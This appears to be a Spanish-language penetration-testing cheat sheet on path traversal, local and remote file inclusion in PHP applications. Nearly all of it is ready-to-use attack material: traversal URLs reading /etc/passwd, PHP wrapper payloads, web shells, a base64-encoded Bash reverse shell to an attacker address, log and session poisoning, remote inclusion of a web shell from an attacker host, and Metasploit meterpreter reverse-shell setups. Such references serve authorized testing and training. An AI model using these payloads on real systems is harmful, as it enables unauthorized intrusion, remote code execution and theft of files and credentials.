# Path traversal & file inclusion

## Path traversal

```sh
http://<target>/index.php?page=../../../<directory>/<file>
http://<target>/index.php?page=../../../etc/passwd
http://<target>/index.php?page=../../../windows/win.ini
```

### Null byte <a href="#path-traversal-null-byte" id="path-traversal-null-byte"></a>

Omite la adición de caracteres al final de la cadena proporcionada.

```sh
http://<target>/index.php?page=../../../etc/passwd%00
```

## Local File Inclusion (LFI)

### Payloads <a href="#local-file-inclusion-lfi-payloads" id="local-file-inclusion-lfi-payloads"></a>

#### Linux/Unix <a href="#local-file-inclusion-lfi-payloads-linux" id="local-file-inclusion-lfi-payloads-linux"></a>

* <https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/lfi-rfi/lfi-linux-payloads.txt>
* <https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/lfi-rfi/lfi-linux-list.txt>

#### Windows <a href="#local-file-inclusion-lfi-payloads-windows" id="local-file-inclusion-lfi-payloads-windows"></a>

* <https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/lfi-rfi/lfi-windows-list.txt>

**SecLists**

* <https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI>

### Fuerza bruta <a href="#local-file-inclusion-lfi-fuerza-bruta" id="local-file-inclusion-lfi-fuerza-bruta"></a>

#### Wfuzz <a href="#local-file-inclusion-lfi-fuerza-bruta-wfuzz" id="local-file-inclusion-lfi-fuerza-bruta-wfuzz"></a>

```sh
wfuzz -u http://<target>/index.php?page=../../../../../../FUZZ -w <path-wordlist-lfi> --hw 0 -c 
```

* -u = URL.
  * \<target> = objetivo.
  * FUZZ = la palabra `FUZZ` será reemplazada con los valores de la wordlist.
* -w = wordlist.
  * \<path-wordlist-lfi> = ruta de wordlist Local File Inclusion (LFI).
* \--hw 0 = ocultar respuestas con 0 (cero) palabras.
* -c = output con colores.

#### FFuF <a href="#local-file-inclusion-lfi-fuerza-bruta-ffuf" id="local-file-inclusion-lfi-fuerza-bruta-ffuf"></a>

```sh
ffuf -u http://<target>/index.php?page=FUZZ -w <path-wordlist>:FUZZ
```

* -u = URL.
  * \<target> = objetivo.
  * FUZZ = la palabra `FUZZ` será reemplazada con los valores de la wordlist.
* -w = wordlist.
  * \<path-wordlist> = ruta de wordlist.

### PHP wrappers <a href="#local-file-inclusion-lfi-php-wrappers" id="local-file-inclusion-lfi-php-wrappers"></a>

#### Wrapper php\://filter

```sh
# base64
http://<target>/index.php?page=php://filter/read=convert.base64-encode/resource=../../../<directory>/<file>
# ROT13
http://<target>/index.php?page=php://filter/read=string.rot13/resource=../../../<directory>/<file>
```

#### Wrapper data://

Es posible utilizar este wrapper solo si la opción `allow_url_include` está habilitada en la configuración de PHP.

```sh
http://<target>/index.php?page=data://text/plain,<?php phpinfo(); ?>
http://<target>/index.php?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
```

### Local File Inclusion (LFI) a Remote Code Execution (RCE) <a href="#lfi-a-rce" id="lfi-a-rce"></a>

#### Wrapper expect:// <a href="#lfi-a-rce-wrapper-expect" id="lfi-a-rce-wrapper-expect"></a>

Este wrapper está deshabilitado de forma predeterminada.

```sh
http://<target>/index.php?page=expect://id
```

#### Wrapper input:// <a href="#lfi-a-rce-wrapper-input" id="lfi-a-rce-wrapper-input"></a>

Es posible utilizar este wrapper solo si la opción `allow_url_include` está habilitada en la configuración de PHP.

```sh
curl -s -X POST --data "<?php system('id'); ?>" "http://<target>/index.php?page=php://input" | grep uid
```

{% code title="Request" %}

```
POST /index.php?page=php://input
Host: <target>

<?php system('whoami'); ?>
```

{% endcode %}

#### Wrapper data:// <a href="#lfi-a-rce-wrapper-data" id="lfi-a-rce-wrapper-data"></a>

Es posible utilizar este wrapper solo si la opción `allow_url_include` está habilitada en la configuración de PHP.

```
http://<target>/index.php?page=data://text/plain,<?php system('whoami'); ?>
http://<target>/index.php?page=data://text/plain;base64,<base64>
```

Ejemplo de web shell (base64).

```sh
# Web shell (PHP)
echo '<?php system($_GET['cmd']); ?>' | base64

# Web shell (PHP) en base64
PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=

# Payload final
http://<target>/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=&cmd=id
```

Ejemplo de reverse shell (base64).

```sh
# Reverse shell (Bash)
bash -c 'bash -i >& /dev/tcp/<IP-Address>/<port> 0>&1'

# Reverse shell (Bash) en base64
YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC97SVAtQWRkcmVzc30ve3BvcnR9IDA+JjEn

# Payload final
http://<target>/index.php?page=data://text/plain;base64,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC97SVAtQWRkcmVzc30ve3BvcnR9IDA+JjEn
```

#### File upload <a href="#lfi-a-rce-file-upload" id="lfi-a-rce-file-upload"></a>

1\) Wrapper zip\://

Generación de archivo `.zip` con web shell.

```sh
echo '<?php system($_GET['cmd']); ?>' > webshell.php
zip webshell.zip webshell.php
rm webshell.php
```

Subir archivo `webshell.zip` al servidor web objetivo.

Es posible hacer referencia a los archivos dentro del archivo `webshell.zip` con el simbolo `#`.

```sh
# Sin URL encode
http://<target>/index.php?page=zip://webshell.zip#cmd.php&cmd=id

# Con URL endoce
http://<target>/index.php?page=zip://webshell.zip%23cmd.php&cmd=id
```

2\) Archivo de imagen.

Generación de archivo `webshell.gif` con web shell.

```sh
echo 'GIF8<?php system($_GET["cmd"]); ?>' > webshell.gif
```

Subir archivo `webshell.gif` al servidor web objetivo y realizar su ejecución desde el Local File Inclusion (LFI) identificado.

```sh
http://<target>/index.php?page=webshell.gif&cmd=id
```

3\) Wrapper phar://

{% code title="webshell.php" %}

```php
<?php
$phar = new Phar('webshell.phar');
$phar->startBuffering();
$phar->addFromString('webshell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
?>
```

{% endcode %}

Generación de archivo `.phar` desde `webshell.php` y cambio de extensión a `.jpg`.&#x20;

```sh
php --define phar.readonly=0 webshell.php
mv webshell.phar webshell.jpg
```

Subir archivo `webshell.jpg` al servidor web objetivo y realizar su ejecución desde el Local File Inclusion (LFI) identificado.

```sh
http://<target>/index.php?page=phar://webshell.jpg/webshell.txt&cmd=id
```

#### Log poisoning <a href="#lfi-a-rce-log-poisoning" id="lfi-a-rce-log-poisoning"></a>

Archivos de logs:

* /var/log/apache2/access.log
* /var/log/nginx/access.log
* /var/log/sshd.log
* /var/log/mail
* /var/log/vsftpd.log
* /proc/self/environ

{% code title="Request" %}

```
GET /index.php?page=<log-file>
Host: <target>


User-Agent: <?php system($_GET['cmd']); ?>
```

{% endcode %}

```sh
http://<target>/index.php?page=<log-file>&cmd=id
```

#### Archivos de sesión de PHP <a href="#lfi-a-rce-archivos-sesion-php" id="lfi-a-rce-archivos-sesion-php"></a>

Rutas de almacenamiento de archivos de sesión de PHP:

* /var/lib/php/sessions/
* C:\Windows\Temp

Ejemplo para `PHPSESSID` con valor `ujllfv2j2sm7ae11is401hvdf9`.

```sh
http://<target>/index.php?page=<session-files-path>/sess_ujllfv2j2sm7ae11is401hvdf9
```

Modificación de alguno de los valores almacenados en la sesión por:

```php
<?php system($_GET['cmd']); ?>
```

Ejecución de comandos.

```sh
http://<target>/index.php?page=<session-files-path>/sess_ujllfv2j2sm7ae11is401hvdf9&cmd=id
```

## Remote File Inclusion (RFI)

Para incluir un archivo remoto en PHP, las opciones `allow_url_fopen` (habilitada de forma predeterminada) y `allow_url_include` deben estar activadas en la configuración.

```sh
http://<target>/index.php?page=http://<domain-name>
http://<target>/index.php?page=http://www.google.com
```

### Remote File Inclusion (RFI) a Remote Code Execution (RCE) <a href="#rfi-a-rce" id="rfi-a-rce"></a>

Creación de webshell.

{% code title="webshell.php" %}

```php
<?php system($_GET['cmd']); ?>
```

{% endcode %}

#### HTTP <a href="#rfi-a-rce-http" id="rfi-a-rce-http"></a>

Habilitación de servidor HTTP para compartir el archivo `webshell.php`.

```sh
python -m SimpleHTTPServer <port>
python3 -m http.server <port>
```

Ejecución de comandos.

```sh
http://<target>/index.php?page=http://<attacker-IP-address>/webshell.php&cmd=id
```

#### FTP <a href="#rfi-a-rce-ftp" id="rfi-a-rce-ftp"></a>

Habilitación de servidor FTP para compartir el archivo `webshell.php`.

```sh
python3 -m pyftpdlib -p 21
```

Ejecución de comandos.

```sh
http://<target>/index.php?page=ftp://<attacker-IP-address>/webshell.php&cmd=id
```

#### SMB <a href="#rfi-a-rce-smb" id="rfi-a-rce-smb"></a>

Cuando la aplicación se ejecuta en Windows, las restricciones aplicadas por `allow_url_include` pueden omitirse mediante el uso del protocolo SMB. Esto se debe a que Windows trata los archivos de los servidores SMB remotos como archivos normales, a los que se puede hacer referencia directamente con una ruta UNC (Universal Naming Convention).

Habilitación de servidor SMB para compartir el archivo `webshell.php`.

```sh
impacket-smbserver -smb2support share $(pwd)
```

Ejecución de comandos.

```sh
http://<target>/index.php?page=\\<attacker-IP-address>\webshell.php&cmd=id
```

### Metasploit <a href="#rfi-a-rce-metasploit" id="rfi-a-rce-metasploit"></a>

```sh
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker-IP-address> LPORT=5555 -f exe > shell.exe
```

```sh
use unix/webapp/php_include
set RHOST <target>
set PHPURI /index.php?page=XXpathXX
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST <attacker-IP-address>
set LPORT 4444
exploit
# Desde sesión de meterpreter
upload shell.exe
```

```sh
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <attacker-IP-address>
set LPORT 5555
exploit -j
```

```sh
use unix/webapp/php_include
set PAYLOAD php/exec
set CMD shell.exe
exploi
```
